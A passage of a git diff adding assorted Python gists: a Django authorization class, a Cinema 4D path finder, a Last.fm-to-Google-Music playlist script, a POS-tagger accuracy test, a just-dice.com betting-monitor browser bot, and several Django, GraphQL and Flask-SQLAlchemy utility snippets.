+        checker = ObjectPermissionChecker(bundle.request.user)
+        if not checker.has_perm(permission, bundle.obj):
+            raise Unauthorized("You are not allowed to access that resource.")
+
+        return True
+
+    def generic_list_check(self, object_list, bundle, permission):
+        if not self.generic_base_check(object_list, bundle):
+            raise Unauthorized("You are not allowed to access that resource.")
+        user = bundle.request.user
+#        return get_objects_for_user(bundle.request.user, permission)
+        return [i for i in object_list if user.has_perm(permission, i)]
+
+    def generic_post_check(self, object_list, bundle, permission):
+        if not self.generic_base_check(object_list, bundle):
+            raise Unauthorized("You are not allowed to access that resource.")
+        user = bundle.request.user
+        if not user.has_perm(permission):
+            raise Unauthorized("You are not allowed to access that resource.")
+
+        return True
+
+
+    # List Checks
+    def create_list(self, object_list, bundle):
+        return self.generic_list_check(object_list, bundle,
+            self.create_permission_code)
+
+    def read_list(self, object_list, bundle):
+        return self.generic_list_check(object_list, bundle,
+            self.view_permission_code)
+
+    def update_list(self, object_list, bundle):
+        return self.generic_list_check(object_list, bundle,
+            self.update_permission_code)
+
+    def delete_list(self, object_list, bundle):
+        return self.generic_list_check(object_list, bundle,
+            self.delete_permission_code)
+
+    # Item Checks
+    def create_detail(self, object_list, bundle):
+        return self.generic_post_check(object_list, bundle,
+            self.create_permission_code)
+
+    def read_detail(self, object_list, bundle):
+        return self.generic_item_check(object_list, bundle,
+            self.view_permission_code)
+
+    def update_detail(self, object_list, bundle):
+        return self.generic_item_check(object_list, bundle,
+            self.update_permission_code)
+
+    def delete_detail(self, object_list, bundle):
+        return self.generic_item_check(object_list, bundle,
+            self.delete_permission_code)
\ No newline at end of file
diff --git a/hard-gists/6562886/._snippet.py b/hard-gists/6562886/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6562886/._snippet.py differ
diff --git a/hard-gists/6562886/snippet.py b/hard-gists/6562886/snippet.py
new file mode 100644
index 00000000..1b3e8386
--- /dev/null
+++ b/hard-gists/6562886/snippet.py
@@ -0,0 +1,95 @@
+# Copyright (c) 2013, Niklas Rosenstein
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#
+# Changelog:
+#
+# 2013-09-14: Initial version
+#
+# This script demonstrates how to find the hierarchy-path from one object
+# to another using recursion.
+
+import c4d
+
+def find_path(src, dst, down=True, up=True, next=True, pred=True):
+    if not src or not dst:
+        return None
+    if src == dst:
+        return ''
+    
+    curr = src.GetDown()
+    if curr and down:
+        path = find_path(curr, dst, down, False, next, pred)
+        if path is not None:
+            return 'D' + path
+
+    curr = src.GetPred()
+    if curr and pred:
+        path = find_path(curr, dst, True, up, False, pred)
+        if path is not None:
+            return 'P' + path
+
+    curr = src.GetNext()
+    if curr and next:
+        path = find_path(curr, dst, True, up, next, False)
+        if path is not None:
+            return 'N' + path
+
+    curr = src.GetUp()
+    if curr and up:
+        path = find_path(curr, dst, False, up, next, pred)
+        if path is not None:
+            return 'U' + path
+        
+    return None
+
+def execute_path(src, path):
+    path = str(path).upper()
+    for c in path:
+        if not src: break
+        if c == 'D':
+            src = src.GetDown()
+        elif c == 'U':
+            src = src.GetUp()
+        elif c == 'N':
+            src = src.GetNext()
+        elif c == 'P':
+            src = src.GetPred()
+    return src
+
+def main():
+    a = doc.SearchObject('From')
+    b = doc.SearchObject('To')
+
+    # Find the path from object A to object B.
+    p = find_path(a, b)
+    if p is None:
+        print "Path could not be found!"
+        return
+
+    # Execute the path starting from object A.
+    new_b = execute_path(a, p)
+    
+    namet = a.GetName(), b.GetName(), p
+    if new_b == b:
+        print "The path from object %r to %r is %r" % namet
+    else:
+        print "The generated path from object %r to %r is invalid: %s" % namet
+
+main()
\ No newline at end of file
diff --git a/hard-gists/6572592/._snippet.py b/hard-gists/6572592/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6572592/._snippet.py differ
diff --git a/hard-gists/6572592/snippet.py b/hard-gists/6572592/snippet.py
new file mode 100644
index 00000000..bbed9aef
--- /dev/null
+++ b/hard-gists/6572592/snippet.py
@@ -0,0 +1,99 @@
+#!/usr/bin/env python
+
+# Lastfm loved tracks to Google Music All Access playlist. As noted in the comments you do need the All Access subscription thing otherwise it will always find 0 songs.
+#
+# Written by Tim Hutt, tdhutt@gmail.com, based on this script:
+#
+# https://gist.github.com/oquno/3664731
+#
+# Today is the 15th of September 2013.
+#
+# Not really tested!
+#
+# Update on 20th of September 2016:
+#
+#  * Changed login API to match gmusicapi (not tested at all)
+#
+# Instructions:
+#
+# 0. Install python and pip.
+# 1. Download this to a file `lastfm_to_gmusic.py`
+# 2. Make it executable: `chmod +x lastfm_to_gmusic.py`
+# 3. Install `gmusicapi` using `pip`: `pip install gmusicapi`
+# 4. Get a last.fm API key here: http://www.last.fm/api/account/create
+# 5. Run it! `./lastfm_to_gmusic.py`.
+#
+# Troubleshooting:
+#
+# 1. It says "Login error": Go to your gmail and check that it didn't block any "suspicious logins".
+# 2. It doesn't find any tracks: Update gmusicapi.
+# 3. Something else: Email me. There's a small chance I'll reply.
+#
+#
+
+
+import urllib, urllib2
+import gmusicapi
+from xml.etree.ElementTree import *
+
+def main():
+    # Gather required info.
+    google_username = raw_input("Google username: ").strip()
+    google_password = raw_input("Google password: ")
+    lastfm_username = raw_input("Lastfm username: ").strip()
+    lastfm_key = raw_input("Lastfm API key: ").strip()
+
+    # Log in.
+    api = gmusicapi.Mobileclient()
+    if not api.login(google_username, google_password, gmusicapi.Mobileclient.FROM_MAC_ADDRESS):
+        print "Login error"
+        return
+
+    # Get loved tracks.
+    loved = []
+    page = 1
+    while True:
+        url = "http://ws.audioscrobbler.com/2.0/?method=user.getlovedtracks&user=%s&api_key=%s&page=%d" % \
+              (lastfm_username, lastfm_key, page)
+        print("Fetching: " + url)
+        tree = parse(urllib2.urlopen(url)).getroot()
+        tracks = tree.findall('lovedtracks/track')
+        for track in tracks:
+            title = track.find('name').text
+            artist = track.find('artist/name').text
+            loved.append((artist,title))
+        if len(tracks) < 50:
+            break
+        page += 1
+
+    print("Got " + str(len(loved)) + " loved tracks")
+
+    if len(loved) == 0:
+        print "Exiting"
+        return
+
+    # Creating new playlist
+    playlist_id = api.create_playlist("Loved tracks")
+
+    to_add = []
+    # Search for each song in all access.
+
+    # This is quite a dirty way to do it, and the gmusicapi seems to be a little out of date
+    # hence the catch-all. This found 529 out of the 787 loved songs I have which is not too bad.
+    for target in loved:
+        try:
+            res = api.search_all_access(target[0] + " " + target[1], max_results=1)
+            to_add.append(res["song_hits"][0]["track"]["nid"])
+        except:
+            pass
+        print("Got " + str(len(to_add)) + " songs so far out of " + str(len(loved)))
+
+    print("Adding " + str(len(to_add)) + " songs to playlist")
+
+    api.add_songs_to_playlist(playlist_id, to_add)
+
+    print("Done! I hope.")
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6576933/._snippet.py b/hard-gists/6576933/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6576933/._snippet.py differ
diff --git a/hard-gists/6576933/snippet.py b/hard-gists/6576933/snippet.py
new file mode 100644
index 00000000..bb9c6e24
--- /dev/null
+++ b/hard-gists/6576933/snippet.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+import string
+from text.blob import Blobber
+from text.taggers import PerceptronTagger, PatternTagger, NLTKTagger
+
+def accuracy(test_set, tagger):
+    n_correct = 0
+    total = 0
+    tb = Blobber(pos_tagger=tagger)
+    for tagged_sentence in test_set:
+        # Get the untagged sentence string
+        # e.g. "Pierre Vinken , 61 years old , will join the board ..."
+        raw_sentence = ' '.join([word for word, tag in tagged_sentence])
+        blob = tb(raw_sentence)  # Create a blob that uses the specified tagger
+        tags = [tag for word, tag in blob.tags]
+        # skip punctuation in test data
+        target_tags = [tag for word, tag in tagged_sentence
+                       if tag not in string.punctuation]
+        total += len(tags)
+        # Add the number of correct tags
+        n_correct += sum(1 for i in range(len(tags)) if tags[i] == target_tags[i])
+    return float(n_correct) / total  # The accuracy
+
+if __name__ == '__main__':
+    test = [[(u'Pierre', u'NNP'), (u'Vinken', u'NNP'), (u',', u','), (u'61', u'CD'),
+                (u'years', u'NNS'), (u'old', u'JJ'), (u',', u','), (u'will', u'MD'),
+                (u'join', u'VB'), (u'the', u'DT'), (u'board', u'NN'), (u'as', u'IN'),
+                (u'a', u'DT'), (u'nonexecutive', u'JJ'), (u'director', u'NN'),
+                (u'Nov.', u'NNP'), (u'29', u'CD'), (u'.', u'.')],
+            [(u'Mr.', u'NNP'), (u'Vinken', u'NNP'), (u'is', u'VBZ'), (u'chairman', u'NN'),
+                (u'of', u'IN'), (u'Elsevier', u'NNP'), (u'N.V.', u'NNP'), (u',', u','),
+                (u'the', u'DT'), (u'Dutch', u'NNP'), (u'publishing', u'VBG'),
+                (u'group', u'NN'), (u'.', u'.'), (u'Rudolph', u'NNP'), (u'Agnew', u'NNP'),
+                (u',', u','), (u'55', u'CD'), (u'years', u'NNS'), (u'old', u'JJ'),
+                (u'and', u'CC'), (u'former', u'JJ'), (u'chairman', u'NN'), (u'of', u'IN'),
+                (u'Consolidated', u'NNP'), (u'Gold', u'NNP'), (u'Fields', u'NNP'),
+                (u'PLC', u'NNP'), (u',', u','), (u'was', u'VBD'), (u'named', u'VBN'),
+                (u'a', u'DT'), (u'nonexecutive', u'JJ'), (u'director', u'NN'), (u'of', u'IN'),
+                (u'this', u'DT'), (u'British', u'JJ'), (u'industrial', u'JJ'),
+                (u'conglomerate', u'NN'), (u'.', u'.')],
+            [(u'A', u'DT'), (u'form', u'NN'),
+                (u'of', u'IN'), (u'asbestos', u'NN'), (u'once', u'RB'), (u'used', u'VBN'),
+                (u'to', u'TO'), (u'make', u'VB'), (u'Kent', u'NNP'), (u'cigarette', u'NN'),
+                (u'filters', u'NNS'), (u'has', u'VBZ'), (u'caused', u'VBN'), (u'a', u'DT'),
+                (u'high', u'JJ'), (u'percentage', u'NN'), (u'of', u'IN'),
+                (u'cancer', u'NN'), (u'deaths', u'NNS'),
+                (u'among', u'IN'), (u'a', u'DT'), (u'group', u'NN'), (u'of', u'IN'),
+                (u'workers', u'NNS'), (u'exposed', u'VBN'), (u'to', u'TO'), (u'it', u'PRP'),
+                (u'more', u'RBR'), (u'than', u'IN'), (u'30', u'CD'), (u'years', u'NNS'),
+                (u'ago', u'IN'), (u',', u','), (u'researchers', u'NNS'),
+                (u'reported', u'VBD'), (u'.', u'.')]]
+    print(accuracy(test, PerceptronTagger()))
+    print(accuracy(test, NLTKTagger()))
+    print(accuracy(test, PatternTagger()))
\ No newline at end of file
diff --git a/hard-gists/6581415/._snippet.py b/hard-gists/6581415/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6581415/._snippet.py differ
diff --git a/hard-gists/6581415/snippet.py b/hard-gists/6581415/snippet.py
new file mode 100644
index 00000000..e37e824d
--- /dev/null
+++ b/hard-gists/6581415/snippet.py
@@ -0,0 +1,281 @@
+#!/usr/bin/env python
+import datetime
+import json
+
+import gtk
+import gobject
+
+# TODO: fix gi.repository.WebKit to have a working webview.get_dom_document
+import webkit
+
+# This is a module providing direct python bindings into JavaScriptCore.
+# http://packages.linuxdeepin.com/deepin/pool/main/p/python-javascriptcore/python-javascriptcore_0.0003-deepin1_amd64.deb
+import javascriptcore
+
+# This is another JavaScriptCore library. It doesn't support python callbacks.
+# import jswebkit as javascriptcore
+
+import pymongo
+
+class WebView(webkit.WebView):
+    """
+    Manage the actual webpage and the interface to the webpage here.
+    """
+
+    __gsignals__ = {
+        "started": (gobject.SIGNAL_RUN_FIRST,
+                    gobject.TYPE_NONE,
+                    (gobject.TYPE_OBJECT,),
+                   )
+    }
+
+    def __init__(self, browser):
+        super(WebView, self).__init__()
+
+        # keep a reference to the parent object
+        self._browser = browser
+
+        self.results = []
+        self.resultcounter = 0
+        self.last_balance = 0
+        self.last_invested = 0
+
+        self.settings = self.get_settings()
+
+        self.settings.set_property("enable-java-applet", False)
+        self.settings.set_property("enable-plugins", False)
+        self.settings.set_property("enable-scripts", True)
+
+        self.settings.set_property("enable-file-access-from-file-uris", True)
+
+        self.settings.set_property("enable-private-browsing", False)
+        self.settings.set_property("enable-spell-checking", False)
+        self.settings.set_property("enable-universal-access-from-file-uris", True)
+        self.settings.set_property("enable-dns-prefetching", True)
+        self.settings.set_property("enable-webaudio", True)
+        self.settings.set_property("enable-webgl", True)
+        self.settings.set_property("enable-fullscreen", True)
+        self.settings.set_property("enable-xss-auditor", False)
+        self.settings.set_property("javascript-can-open-windows-automatically", False)
+
+        self.settings.set_property("user-agent", Browser.user_agent)
+
+        #self.set_full_content_zoom(True)
+        self.set_border_width(0)
+        self.set_custom_encoding('UTF-8')
+
+        self.set_double_buffered(True)
+        self.set_transparent(True)
+        self.set_editable(False)
+        #self.set_view_mode(False)
+        self.set_view_source_mode(False)
+
+        self.console_response = self.connect('console-message', self.on_console_message)
+        self.connect('notify::load-status', self._on_load_status)
+
+        # HACK to get JSGlobalContextRef
+        #self.connect("window-object-cleared", self.on_window_object_cleared)
+
+        #self.connect('load-finished', self.on_load_finished)
+        self.connect("document-load-finished", self.on_load_finished)
+
+    def _on_load_status(self, view, browser):
+        if view.get_property('load-status') == webkit.LOAD_FINISHED:
+            print ('* Browser load finished')
+            # This needs to run with a timeout because otherwise the
+            # status is emited before the offscreen image is finished.
+            # GObject.timeout_add(100, lambda: self.emit("render-finished"))
+        elif view.get_property('load-status') == webkit.LOAD_FAILED:
+            print ('* Browser load failed')
+        elif view.get_property('load-status') == webkit.LOAD_COMMITTED:
+            print ('* Browser load commited')
+        elif view.get_property('load-status') == webkit.LOAD_PROVISIONAL:
+            print ('* Browser load provisional')
+        elif view.get_property('load-status') == webkit.LOAD_FIRST_VISUALLY_NON_EMPTY_LAYOUT:
+            print ('* Browser load provisional')
+
+    def on_load_finished(self, browser, web_frame):
+        print ('=> event load finished ') #, browser, web_frame
+        print ('Provisonal data source:', web_frame.get_provisional_data_source())
+        print ('Title:', web_frame.get_title())
+        print ('URI:', web_frame.get_uri())
+
+        # add a chat message to the message box (does not send network packets)
+        # js.globalObject.socket.listeners("chat").values()[0]("hi world", "500")
+        # js.globalObject.socket.emit("chat", js.globalObject.csrf, "hello cruel world")
+
+        self.setup_js()
+
+        print "on_load_finished returning early for testing purposes"
+        return
+
+        # let's setup the callbacks
+        self.element_bankroll = self.js.globalObject.document.getElementsByClassName("bankroll").values()[0]
+
+        def on_updated_bankroll(whatever):
+            self.invested = self.element_bankroll.innerText
+            #print "invested: " + str(self.invested)
+
+        self.element_bankroll.addEventListener("DOMSubtreeModified", on_updated_bankroll)
+
+        self.element_investment_profit = self.js.globalObject.document.getElementsByClassName("sprofitpct").values()[0]
+
+        def on_updated_investment_profit(whatever):
+            self.investment_profit = self.element_investment_profit.innerText
+            #print "investment profit: " + str(self.investment_profit)
+        self.element_investment_profit.addEventListener("DOMSubtreeModified", on_updated_investment_profit)
+
+        def on_updated_investment(whatever):
+            self.invested = float(self.element_invested.innerText)
+        self.element_invested = self.js.globalObject.document.getElementsByClassName("investment").values()[0]
+        self.element_invested.addEventListener("DOMSubtreeModified", on_updated_investment)
+
+        def on_updated_balance(whatever):
+            self.balance = float(self.element_balance.value)
+        self.element_balance = self.js.globalObject.document.getElementById("pct_balance")
+        self.element_balance.addEventListener("DOMSubtreeModified", on_updated_balance)
+
+        def on_result(data):
+            """
+            Bet result data.
+            """
+            data = dict(data.items())
+            data["stats"] = dict(data["stats"].items())
+            self._browser.mongo_collection.insert(data)
+
+            if len(self.results) > 1000:
+                del self.results[0]
+
+            self.results.append(data)
+            self.resultcounter += 1
+
+        self.jscallbacks.on_result = on_result
+
+        self.js.evaluateScript("var on_result = function(data) { return jscallbacks.on_result(data); };")
+        self.js.evaluateScript("socket.on('result', on_result);")
+
+        #self.js.globalObject.socket.on("result", self.jscallbacks.on_result)
+
+        # remove the default listener for "timeout"
+        self.js.globalObject.socket.removeAllListeners("timeout")
+
+        def on_connection_timeout():
+            """
+            The webpage eventually disconnects you.
+            """
+            print "reconnecting at " + str(datetime.datetime.now())
+            self.js.evaluateScript("socket.emit('reconnect', csrf);")
+
+        self.jscallbacks.on_connection_timeout = on_connection_timeout
+        self.js.evaluateScript("var on_connection_timeout = function() { return jscallbacks.on_connection_timeout(); };")
+        self.js.evaluateScript("socket.on('timeout', on_connection_timeout);")
+
+    def on_console_message(self, *args):
+        (view, message, line, file) = args
+        print ('browser: ' + str(message) + ' in file: ' + str(file) + ' line:' + str(line))
+        self.stop_emission('console-message')
+
+    def invest(self):
+        print "investing: " + str(self.balance)
+        self.last_invested = self.balance
+        self.js.evaluateScript("socket.emit('invest', csrf, document.getElementById('pct_balance').value);")
+
+    def divest(self):
+        print "divesting: " + str(self.invested)
+        print "investment was: " + str(self.last_invested)
+        print "difference is: " + str(self.invested - self.last_invested)
+        self.element_invested = self.js.globalObject.document.getElementsByClassName("investment").values()[0]
+        self.js.evaluateScript("socket.emit('divest', csrf, document.getElementByClassName('investment')[0].innerText);")
+
+    @property
+    def profit(self):
+        return self.invested - self.last_invested
+
+    def login(self, username, password):
+        """
+        Send a login signal to the site. This is problematic because it causes
+        the page to refresh. Why not just send the cookie the first time?
+        """
+        self.js.globalObject.socket.emit("login", self.js.globalObject.csrf, username, password)
+
+    def setup_js(self):
+        """
+        Setup the javascript bindings.
+        """
+
+        context = self.get_main_frame().get_global_context()
+        # self._js = jswebkit.JSContext(context)
+        self._js = javascriptcore.JSContext(context)
+        self.document = self._js.evaluateScript("document")
+
+        # setup a JSObject to attach python callbacks to
+        self.jscallbacks = self._js.evaluateScript("var jscallbacks = {}; jscallbacks")
+
+        def example(text):
+            return text
+
+        self.jscallbacks.example = example
+        # js.evaluateScript("jscallbacks.example('500');")
+
+        return self._js
+
+    @property
+    def js(self):
+        if not hasattr(self, "_js"):
+            self.setup_js()
+        return self._js
+
+class Browser(object):
+    """
+    This is the main core of the application. Connects to just-dice.com and
+    starts monitoring all data events.
+    """
+
+    default_width = 320
+    default_height = 240
+
+    user_agent = "NSA"
+
+    def __init__(self):
+
+        self.mongo_client = pymongo.MongoClient()
+        self.mongo_db = self.mongo_client.db_justdice
+        self.mongo_collection = self.mongo_db.collection_justdice
+
+        self.window = gtk.Window(type=gtk.WINDOW_TOPLEVEL)
+        self.window.set_position(gtk.WIN_POS_CENTER)
+        self.window.set_default_size(Browser.default_width, Browser.default_height)
+        self.window.connect("destroy", self.on_quit)
+
+        #self.vbox = Gtk.VBox()
+
+        self.webview = WebView(self)
+
+        self.scrolled_window = gtk.ScrolledWindow()
+        self.scrolled_window.add(self.webview)
+
+        self.window.add(self.scrolled_window)
+        self.window.show_all()
+
+        #self.webview.load_string(init_string, "text/html", "utf-8", "#")
+        #doc = self.webview.get_dom_document()
+
+        # open the main site
+        self.webview.open("https://just-dice.com/")
+        #self.webview.open("http://diyhpl.us/~bryan/debug.html")
+
+    def on_quit(self, widget):
+        gtk.main_quit()
+
+if __name__ == "__main__":
+    browser = Browser()
+
+    from IPython.lib.inputhook import enable_gtk
+    enable_gtk()
+
+    # Main loop has been replaced by gtk.main() in __main__
+    #mainloop = GLib.MainLoop()
+    #mainloop.run()
+    #mainloop.quit()
+
+    #gtk.main()
\ No newline at end of file
diff --git a/hard-gists/659867/._snippet.py b/hard-gists/659867/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/659867/._snippet.py differ
diff --git a/hard-gists/659867/snippet.py b/hard-gists/659867/snippet.py
new file mode 100644
index 00000000..8e733be8
--- /dev/null
+++ b/hard-gists/659867/snippet.py
@@ -0,0 +1,27 @@
+from haystack.indexes import *
+from haystack import site
+from cab.models import Snippet
+
+class SnippetIndex(SearchIndex):
+    text = CharField(document=True, use_template=True)
+    author = CharField(model_attr='author__username')
+    title = CharField(model_attr='title')
+    tags = CharField()
+    tag_list = MultiValueField()
+    language = CharField(model_attr='language__name')
+    pub_date = DateTimeField(model_attr='pub_date')
+    django_version = FloatField(model_attr='django_version')
+    bookmark_count = IntegerField(model_attr='bookmark_count')
+    rating_score = IntegerField(model_attr='rating_score')
+    url = CharField(model_attr='get_absolute_url', indexed=False)
+
+    def prepare_tags(self, obj):
+        return ' '.join([tag.name for tag in obj.tags.all()])
+
+    def prepare_tag_list(self, obj):
+        return [tag.name for tag in obj.tags.all()]
+
+    def get_updated_field(self):
+        return 'updated_date'
+
+site.register(Snippet, SnippetIndex)
\ No newline at end of file
diff --git a/hard-gists/65fbce1860ef204ee908/._snippet.py b/hard-gists/65fbce1860ef204ee908/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/65fbce1860ef204ee908/._snippet.py differ
diff --git a/hard-gists/65fbce1860ef204ee908/snippet.py b/hard-gists/65fbce1860ef204ee908/snippet.py
new file mode 100644
index 00000000..b6c27cc0
--- /dev/null
+++ b/hard-gists/65fbce1860ef204ee908/snippet.py
@@ -0,0 +1,35 @@
+from collections import OrderedDict
+
+from graphql.core.execution.executor import Executor
+from graphql.core.execution.middlewares.gevent import GeventExecutionMiddleware, run_in_greenlet
+
+import graphene
+
+
+class Patron(graphene.ObjectType):
+    id = graphene.ID()
+    name = graphene.String()
+    age = graphene.ID()
+
+
+class Query(graphene.ObjectType):
+
+    patron = graphene.Field(Patron)
+
+    @run_in_greenlet
+    def resolve_patron(self, args, info):
+        return Patron(id=1, name='Demo')
+
+gevent_executor = Executor([GeventExecutionMiddleware()], map_type=OrderedDict)
+
+schema = graphene.Schema(query=Query, executor=gevent_executor)
+query = '''
+    query something{
+      patron {
+        id
+        name
+      }
+    }
+'''
+result = schema.execute(query)
+print(result.data['patron'])
diff --git a/hard-gists/660303/._snippet.py b/hard-gists/660303/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/660303/._snippet.py differ
diff --git a/hard-gists/660303/snippet.py b/hard-gists/660303/snippet.py
new file mode 100644
index 00000000..c89db722
--- /dev/null
+++ b/hard-gists/660303/snippet.py
@@ -0,0 +1,52 @@
+# -*- encoding: utf-8 -*-
+# Usage:
+# urlpatterns += patterns('',
+#     route(r'^$', GET='getview', POST='postview', name='viewname'),
+# )
+#
+from django.http import Http404
+from django.core.urlresolvers import RegexURLPattern, get_callable
+
+def discover_view(view, prefix=''):
+    if isinstance(view, basestring):
+        if not view:
+            raise ValueError('View name is required to discover the callable')
+        if prefix:
+            view = prefix + '.' + view
+        return get_callable(view)
+    else:
+        return view
+
+
+class ViewByMethod(object):
+    def __init__(self, GET=None, POST=None):
+        self.GET = GET
+        self.POST = POST
+
+    def __call__(self, request, *args, **kwargs):
+        if request.method == 'GET' and self.GET:
+            return self.GET(request, *args, **kwargs)
+        elif request.method == 'POST' and self.POST:
+            return self.POST(request, *args, **kwargs)
+        raise Http404
+
+
+class RegexUrlPatternByMethod(RegexURLPattern):
+    def __init__(self, regex, GET=None, POST=None, default_args=None, name=None):
+        super(RegexUrlPatternByMethod, self).__init__(regex, '', default_args, name)
+        self.GET = GET
+        self.POST = POST
+
+    def add_prefix(self, prefix):
+        self.prefix = prefix
+
+    def _get_callback(self):
+        callable_get = discover_view(self.GET, self.prefix)
+        callable_post = discover_view(self.POST, self.prefix)
+
+        return ViewByMethod(callable_get, callable_post)
+    callback = property(_get_callback)
+
+
+def route(regex, GET=None, POST=None, kwargs=None, name=None, prefix=''):
+    return RegexUrlPatternByMethod(regex, GET, POST, kwargs, name)
diff --git a/hard-gists/6604662/._snippet.py b/hard-gists/6604662/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6604662/._snippet.py differ
diff --git a/hard-gists/6604662/snippet.py b/hard-gists/6604662/snippet.py
new file mode 100644
index 00000000..040ab7bf
--- /dev/null
+++ b/hard-gists/6604662/snippet.py
@@ -0,0 +1,330 @@
+import uuid
+import wtforms_json
+from sqlalchemy import not_
+from sqlalchemy.dialects.postgresql import UUID
+from wtforms import Form
+from wtforms.fields import FormField, FieldList
+from wtforms.validators import Length
+
+from flask import current_app as app
+from flask import request, json, jsonify, abort
+from flask.ext.sqlalchemy import SQLAlchemy
+
+
+db = SQLAlchemy(app)
+wtforms_json.init()
+
+
+class Model(db.Model):
+    """Base SQLAlchemy Model for automatic serialization and
+    deserialization of columns and nested relationships.
+
+    Usage::
+
+        >>> class User(Model):
+        >>>     id = db.Column(db.Integer(), primary_key=True)
+        >>>     email = db.Column(db.String(), index=True)
+        >>>     name = db.Column(db.String())
+        >>>     password = db.Column(db.String())
+        >>>     posts = db.relationship('Post', backref='user', lazy='dynamic')
+        >>>     ...
+        >>>     default_fields = ['email', 'name']
+        >>>     hidden_fields = ['password']
+        >>>     readonly_fields = ['email', 'password']
+        >>>
+        >>> class Post(Model):
+        >>>     id = db.Column(db.Integer(), primary_key=True)
+        >>>     user_id = db.Column(db.String(), db.ForeignKey('user.id'), nullable=False)
+        >>>     title = db.Column(db.String())
+        >>>     ...
+        >>>     default_fields = ['title']
+        >>>     readonly_fields = ['user_id']
+        >>>
+        >>> model = User(email='john@localhost')
+        >>> db.session.add(model)
+        >>> db.session.commit()
+        >>>
+        >>> # update name and create a new post
+        >>> validated_input = {'name': 'John', 'posts': [{'title':'My First Post'}]}
+        >>> model.set_columns(**validated_input)
+        >>> db.session.commit()
+        >>>
+        >>> print(model.to_dict(show=['password', 'posts']))
+        >>> {u'email': u'john@localhost', u'posts': [{u'id': 1, u'title': u'My First Post'}], u'name': u'John', u'id': 1}
+    """
+    __abstract__ = True
+
+    # Stores changes made to this model's attributes. Can be retrieved
+    # with model.changes
+    _changes = {}
+
+    def __init__(self, **kwargs):
+        kwargs['_force'] = True
+        self._set_columns(**kwargs)
+
+    def _set_columns(self, **kwargs):
+        force = kwargs.get('_force')
+
+        readonly = []
+        if hasattr(self, 'readonly_fields'):
+            readonly = self.readonly_fields
+        if hasattr(self, 'hidden_fields'):
+            readonly += self.hidden_fields
+
+        readonly += [
+            'id',
+            'created',
+            'updated',
+            'modified',
+            'created_at',
+            'updated_at',
+            'modified_at',
+        ]
+
+        changes = {}
+
+        columns = self.__table__.columns.keys()
+        relationships = self.__mapper__.relationships.keys()
+
+        for key in columns:
+            allowed = True if force or key not in readonly else False
+            exists = True if key in kwargs else False
+            if allowed and exists:
+                val = getattr(self, key)
+                if val != kwargs[key]:
+                    changes[key] = {'old': val, 'new': kwargs[key]}
+                    setattr(self, key, kwargs[key])
+
+        for rel in relationships:
+            allowed = True if force or rel not in readonly else False
+            exists = True if rel in kwargs else False
+            if allowed and exists:
+                is_list = self.__mapper__.relationships[rel].uselist
+                if is_list:
+                    valid_ids = []
+                    query = getattr(self, rel)
+                    cls = self.__mapper__.relationships[rel].argument()
+                    for item in kwargs[rel]:
+                        if 'id' in item and query.filter_by(id=item['id']).limit(1).count() == 1:
+                            obj = cls.query.filter_by(id=item['id']).first()
+                            col_changes = obj.set_columns(**item)
+                            if col_changes:
+                                col_changes['id'] = str(item['id'])
+                                if rel in changes:
+                                    changes[rel].append(col_changes)
+                                else:
+                                    changes.update({rel: [col_changes]})
+                            valid_ids.append(str(item['id']))
+                        else:
+                            col = cls()
+                            col_changes = col.set_columns(**item)
+                            query.append(col)
+                            db.session.flush()
+                            if col_changes:
+                                col_changes['id'] = str(col.id)
+                                if rel in changes:
+                                    changes[rel].append(col_changes)
+                                else:
+                                    changes.update({rel: [col_changes]})
+                            valid_ids.append(str(col.id))
+
+                    # delete related rows that were not in kwargs[rel]
+                    for item in query.filter(not_(cls.id.in_(valid_ids))).all():
+                        col_changes = {
+                            'id': str(item.id),
+                            'deleted': True,
+                        }
+                        if rel in changes:
+                            changes[rel].append(col_changes)
+                        else:
+                            changes.update({rel: [col_changes]})
+                        db.session.delete(item)
+
+                else:
+                    val = getattr(self, rel)
+                    if self.__mapper__.relationships[rel].query_class is not None:
+                        if val is not None:
+                            col_changes = val.set_columns(**kwargs[rel])
+                            if col_changes:
+                                changes.update({rel: col_changes})
+                    else:
+                        if val != kwargs[rel]:
+                            setattr(self, rel, kwargs[rel])
+                            changes[rel] = {'old': val, 'new': kwargs[rel]}
+
+        return changes
+
+    def set_columns(self, **kwargs):
+        self._changes = self._set_columns(**kwargs)
+        if 'modified' in self.__table__.columns:
+            self.modified = datetime.utcnow()
+        if 'updated' in self.__table__.columns:
+            self.updated = datetime.utcnow()
+        if 'modified_at' in self.__table__.columns:
+            self.modified_at = datetime.utcnow()
+        if 'updated_at' in self.__table__.columns:
+            self.updated_at = datetime.utcnow()
+        return self._changes
+
+    @property
+    def changes(self):
+        return self._changes
+
+    def reset_changes(self):
+        self._changes = {}
+
+    def to_dict(self, show=None, hide=None, path=None, show_all=None):
+        """ Return a dictionary representation of this model.
+        """
